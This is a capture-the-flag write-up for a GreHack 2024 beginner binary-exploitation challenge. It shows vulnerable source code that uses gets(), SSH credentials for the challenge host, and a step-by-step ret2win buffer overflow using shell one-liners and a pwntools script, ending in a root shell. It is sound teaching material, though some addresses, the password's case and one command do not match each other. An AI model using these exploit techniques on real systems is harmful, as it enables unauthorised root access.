10 minute read


Description:
    GreHack Corp has developed the first binary to print a magnificent ASCII art of their little ghost.

Instructions:
    Connect to an SSH server to check it out.

Connection Details:
    Author: Nishacid
    Hostname: tcp0.infra.ctf.grehack.fr
    Port: 10020
    Username: baby
    Password: luv8GgeNzLmi8uERa7
    Difficulty: very-easy
    Points: 50

Table of contents:


Checking binary type & protections

My idea was to first download it and work on it locally. As we access the target through SSH we need to use scp to download the files

➜  baby_pwn git:(main) ✗ scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby .
➜  baby_pwn git:(main) ✗ scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby.c .
➜  baby_pwn git:(main)ls -l
total 32
-rwxrwxr-x 1 kali kali 19264 Nov 16 16:56 baby
-rw-r--r-- 1 kali kali  4717 Nov 16 16:56 baby.c

I couldn’t interact with the binary locally: had a file not found error, so i switched to interact with it directly from the target machine (i could launch checksec and file on it locally tho).

(.venv) ➜  baby_pwn git:(main) ✗ file baby
baby: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=09bff4d9796a41ae2530448580c4db9e2e61acc0, for GNU/Linux 3.2.0, not stripped

(.venv) ➜  baby_pwn git:(main) ✗ checksec baby
[*] '/home/kali/secu_classes_ctf/ctf_events/grehack_2024/pwn/baby_pwn/baby'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

(the day after, magic, i could interact with it so obvisouly this was coming from my laptop x))

Source code

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void debug(){
    setreuid(geteuid(), geteuid());
    printf("Debug mode enabled\n");
    system("/bin/ash");
}

void banner(){
    puts(
"                                                                          .=****-\n"           
"                                                                      -**=====% \n"           
"                                                                   -+*+=====+%: \n"           
"                                                              .-+**+======*%%=. \n"           
"                                                         :=++**+=====+**#*+===+*+ \n"           
"                                                  .:-+#%@#***************+***+==#- \n"           
"                                           .:=++#@%#*+++++++++++*##@*-.     .-==: \n"           
"                          :.        .:=++**++*##*++++++++++++++++++++**=. \n"           
"                    .==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**: \n"           
"                  -#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**. \n"           
"        ..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#= \n"           
"   -+****++====++*********+*%=+=:.    **++++++++++++++++++++++++##*++*%++++++#* \n"           
"   =++********++++****%#:-===#       +*+++++++++**#*++++++++++++++++++%+++++++#- \n"           
"   -+++++***+++=-:    -+=%:.#.       %++++++++*#-.:%@++++++++++++++++++++++++++% \n"           
"   :=--:.                 *-.*=     -#+++++++**  :@@@+++++++++#+=+@@#++++++++++%. \n"           
"                           ++..=+==:+*++++++*#  *#@@*+++++++#+  +@@@@++++++++++%: \n"           
"                             -++-:.:#*++++++%: =@@@%+++++++%:  :@@@@%++++++++++%. \n"           
"                                 :-=#*++++++@  +@@@*++++++%:  +#@@@#+++++**++++% \n"           
"                                    -#++++++*+:=@@#++++++*+   @@@@%+++++#+-#++*+ \n"           
"                                     %++++++++**+++++++++#=  .@@@@#++++++*#:+#%. \n"           
"                                     +*++++*%**+++*#*+++++%-  #@@@*++++++++#=:% \n"           
"                                   :*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#. \n"           
"                                  +#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.# \n"           
"                                 -#+++++++++##+++%***+%++++++++++++++++++++%: +=:# \n"           
"                                 +*+++++++++++++++####%+++++++++++++++++++#+  .@.#+=+: \n"           
"                                 :%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++. \n"           
"                                  -#+++++++++++++++++++++++++++++++++++++++++@*=- -:::  *- \n"           
"                                   .+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. % \n"           
"                                      .:--:.+#++++++++++++##+++++++++++++++++%. .-  -. *#- \n"           
"                                             .=*#**++++*##=#+++++++++++++++++%++ =* .%=*=  \n"           
"                                .:--:.          .%:**-:-%.:#+#*++++++++++++#*. =+*++++     \n"           
"                             =**++==+**:         =+ +=.#.:#   .-+**#****#*+.               \n"           
"                           +@%%#*======#-         -*.=# -#           ..                    \n"             
"                          =*==+*#%*=====%          .%+ +++=-.   -=:                        \n"
"                          ##**+===*%====%         :*-:*++=---==*%+%***+-                   \n" 
"                          *#******++%==#-       :+=.+=    .:=**+**#====+*                  \n"
"                          -#==+*****#*+*#.    -*-.++.        +#*#*=====+*                  \n"
"                           %#*+===+*#%==###-++::+=         .=*%*+=====+*                   \n"           
"                           :%*****+==%==+=*#-++:          **====+*#==**                    \n"           
"                            -#+******@==+=+#:            #+=========#=                     \n"           
"                             -%==+**#%==*##-            .%========+#:                      \n"           
"                              .##+=+%===#-               =********+    \n"           
"\n"   
    );
}

void slogan(){
    printf("Fill this : New is not always ...?\n");
    char better[10];
    gets(better);
    printf("%s ? The good one is the following one : \n", better);
    printf("New is not always better ! But sometimes, it is ;)\n");
}

int main(){ 
    banner();
    slogan();
    return 0;
}

props for the ASCII art^^

So we know it’s a ret2win type challenge: there’s a function debug(), which isn’t called by main() or anywhere else … and we need to find a way to call it so we can get a nice root shell.

baby has a SUID (thats the s you can see just below) which means that whoever runs the binary, will run it as root. So if we get the shell, we’ll get a root shell (more details on this at the bottom of the article).

0773290cf797:~$ ls -l baby
-rwxsrwxr-x 1 baby baby 19264 Nov 16 16:56 baby

The plan

The goal is to overwrite the buffer, overflowing into memory enough so we can reach the saved EBP (the one pushed on the stack right before slogan() is called , and write there the address of debug().
Like this, when debug() is fully executed, the program, which was supposed to point to an addres in main() so it could return to it, will instead point to debug() and call it. The function will be executed, and we have our root shell.

Finding the offset

First we need to find how many characters we need to inject in order to reach the return address. After few trials i found out the number is 22. You can’t see it here but i was running the payload (containing As and four Bs) from inside GDB and when i had all four Bs inside EIP at the time of crash, i knew i had found the offset (this number can sometimes vary when sending the payload from ‘outside’ of the binary).

Getting the debug() function address

We can do it from ‘outside’ or ‘inside’ the binary. Let’s do it from the outside:

0773290cf797:~$ nm baby | grep debug
08048205 T debug

OK we have the number of chars we need to write, our address, so lets get into it.

Getting a shell

I tried combinations of perl, python and bash commands to inject my payload into baby but none worked

0773290cf797:~$ python --version
Python 3.12.3
0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby
0773290cf797:~$ perl -e 'print "A" x 22 . "\x05\x92\x04\x08"' | ./baby
0773290cf797:~$ echo -e 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08' | ./baby

you don’t see it here but they all caused the program to crash without even printing anything from debug()

A friend later advised me to add 0x0a to the echo -e command in order to add a new line char and maybe avoid the crash (0x0a = new line char in hexa)*

printf() printed me something from debug() so i chose to stick to it

0773290cf797:~$ printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n' | ./baby
Fill this : New is not always ...?
...

AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Debug mode enabled
... segfault blablabla

the program was crashing, but at least i got something more!

Now the idea is that the stdin (standard input) remains open so we can throw in a cat flag.txt and read the flag. In Unix-like systems, stdin is the input stream that a process reads from. So as long as our baby binary reads this ‘stream’, anything that goes in it (like cat flag.txt) will be read by baby and displayed in our terminal.
We do this by enclosing the payload with a cat command and pipe this into the binary. TL;DR: the program will be blocked from terminating before we can even throw in some commands.

How does this works ?

Using () with commands inside will create a subshell in which those commands will be executed, let’s try it:

0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08'; cat)

AAAAAAAAAAAAAAAAAAAAAA�

^C
0773290cf797:~$

As you can see, i had to manually cut the execution using CTRL+C otherwise the content is just being catted (not an official term, please don’t kill me…) indefinitely … So it’s kinda like a tunnel is being created, and one way to exit it is by using CTRL+C.

Good so now we have this tunnel, lets pipe it into the binary. This will allow us to be able to cat indefinitely, thats useless here but at least long enough to cat our flag.txt and get our flag.

0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n'; cat) | ./baby
                                                                          .=****-
                                                                      -**=====% 
                                                                   -+*+=====+%: 
                                                              .-+**+======*%%=. 
                                                         :=++**+=====+**#*+===+*+ 
                                                  .:-+#%@#***************+***+==#- 
                                           .:=++#@%#*+++++++++++*##@*-.     .-==: 
                          :.        .:=++**++*##*++++++++++++++++++++**=. 
                    .==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**: 
                  -#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**. 
        ..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#= 
   -+****++====++*********+*%=+=:.    **++++++++++++++++++++++++##*++*%++++++#* 
   =++********++++****%#:-===#       +*+++++++++**#*++++++++++++++++++%+++++++#- 
   -+++++***+++=-:    -+=%:.#.       %++++++++*#-.:%@++++++++++++++++++++++++++% 
   :=--:.                 *-.*=     -#+++++++**  :@@@+++++++++#+=+@@#++++++++++%. 
                           ++..=+==:+*++++++*#  *#@@*+++++++#+  +@@@@++++++++++%: 
                             -++-:.:#*++++++%: =@@@%+++++++%:  :@@@@%++++++++++%. 
                                 :-=#*++++++@  +@@@*++++++%:  +#@@@#+++++**++++% 
                                    -#++++++*+:=@@#++++++*+   @@@@%+++++#+-#++*+ 
                                     %++++++++**+++++++++#=  .@@@@#++++++*#:+#%. 
                                     +*++++*%**+++*#*+++++%-  #@@@*++++++++#=:% 
                                   :*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#. 
                                  +#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.# 
                                 -#+++++++++##+++%***+%++++++++++++++++++++%: +=:# 
                                 +*+++++++++++++++####%+++++++++++++++++++#+  .@.#+=+: 
                                 :%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++. 
                                  -#+++++++++++++++++++++++++++++++++++++++++@*=- -:::  *- 
                                   .+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. % 
                                      .:--:.+#++++++++++++##+++++++++++++++++%. .-  -. *#- 
                                             .=*#**++++*##=#+++++++++++++++++%++ =* .%=*=  
                                .:--:.          .%:**-:-%.:#+#*++++++++++++#*. =+*++++     
                             =**++==+**:         =+ +=.#.:#   .-+**#****#*+.               
                           +@%%#*======#-         -*.=# -#           ..                    
                          =*==+*#%*=====%          .%+ +++=-.   -=:                        
                          ##**+===*%====%         :*-:*++=---==*%+%***+-                   
                          *#******++%==#-       :+=.+=    .:=**+**#====+*                  
                          -#==+*****#*+*#.    -*-.++.        +#*#*=====+*                  
                           %#*+===+*#%==###-++::+=         .=*%*+=====+*                   
                           :%*****+==%==+=*#-++:          **====+*#==**                    
                            -#+******@==+=+#:            #+=========#=                     
                             -%==+**#%==*##-            .%========+#:                      
                              .##+=+%===#-               =********+    


Fill this : New is not always ...?
AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one : 
New is not always better ! But sometimes, it is ;)
Debug mode enabled
whoami
root
cat /flag.txt   
GH{m4yb3_th1S_Is_y0uR_f1rsT_biN4ry_pWn3d}

And voila ;)

Further reflections

Why we get a root shell => The debug function

Why are we getting a root shell ? Well, debug() being the one giving us that, let’s analyse it.

void debug(){
    setreuid(geteuid(), geteuid());
    printf("Debug mode enabled\n");
    system("/bin/ash");
}

setruid

From the man pages we see that setreuid takes two parameters: ruid and euid.

0773290cf797:~$ man setreuid
...
int setreuid(uid_t ruid, uid_t euid);
...
setreuid() sets real and effective user IDs of the calling process.
  • real user ID (ruid) = the user who owns the process aka the user who started the process.
  • effective user ID (euid) = the ID the process uses for permission checks.

setreuid(getieuid(), geteuid()) will therefore sets both IDs to whatever getuid() returns both times.
geteuid will return the effective user ID of the calling process.

The binary being run as root, when we call a shell from one of its function, so ‘inside’ it, geteuid() will both times return 0 which is the root user ID. setreuid() will therefore also returns 0 and poof, we get a root shell.

Why my Python payload didn’t work

This line was causing a crash

0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby

The target machine was running on Python3

0773290cf797:~$ python --version
Python 3.12.3

So why does this crash ? Looks legit right ? The reason is (thanks Nishacid): in Python3 (as opposed to Python2), print() displays unicode on stdout, which means we have extra octets being added to our payload. See yo on the bottom of the post to see how to circumvent that.

Two other ways to solve it and another way to find the offset

After talking to some friends and also nishacid (the challenge creator), i’ve been given a lot of very useful tips on how to solve the challenge differently. I knew some of the methods, but as what follows has been given to me, i’m giving back credits.

Solving with SSH & Pwntools

I didnt even try this method because i couldn’t launch the binary, but a friend who could did it, and gave me his solver. I’ve commented the code to help you better understand it.

from pwn import *

# establishing SSH connection to remote server
socket = ssh(host='tcp0.infra.ctf.grehack.fr', user='baby', password='luV8GgeNzLmi8uERa7', port=10020)

# loads the baby binary (located on the remote server not locally) and create en 'object' we can interact with
p = socket.process('./baby')

# receiving and prints initial output from the program
print(p.recv())

# payload crafting (22*A + debug() address)
payload = b"A" * 22 + p32(0x08049205)

# sending the payload
p.sendline(payload)

# opening an interactive shell to interact with the remote program
p.interactive()

Solving locally with Python3

So this payload was causing baby to crash

0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby

And this one not

0773290cf797:~$ (python -c 'import sys;sys.stdout.buffer.write(b"a"*22+b"\x05\x92\x04\x08")' && cat) | ./baby

And that’s because buffer.write() ensures that the payload is written as raw bytes, so without unintended encoding or formatting issues … which means no extra added octets => we send what we see, and it works :)

As you maybe have seen, you can use (b"a"*22+b"\x05\x92\x04\x08")' && cat) or (b"a"*22+b"\x05\x92\x04\x08")'; cat).

Another way to find the offset (locally)

Let’s use pwntools to create a payload

0773290cf797:~$ python -c 'from pwn import *; print(cyclic(200).decode())'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

I don’t have to specify python3 here as python is what’s associated to python3

Let’s crash the program

Fill this : New is not always ...?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Program received signal SIGSEGV, Segmentation fault.
0x61676161 in ?? ()
(gdb)

Let’s find the offset: the program crashes with the value 0x61676161 pointed to by EIP … lets find where this value is.

0773290cf797:~$ python -c 'from pwn import *; print(cyclic_find(0x61676161))'
22

Offset is still 22.

Acknowledgments

Thanks to Nishacid for having re-read the writeup and brought extra informations, and thanks to the others who decided to stay anonymous. Thanks again of course to the whole staff, first time at the GreHack for me, absolutely loved it! Also, big thanks to the cooks, food was awsome !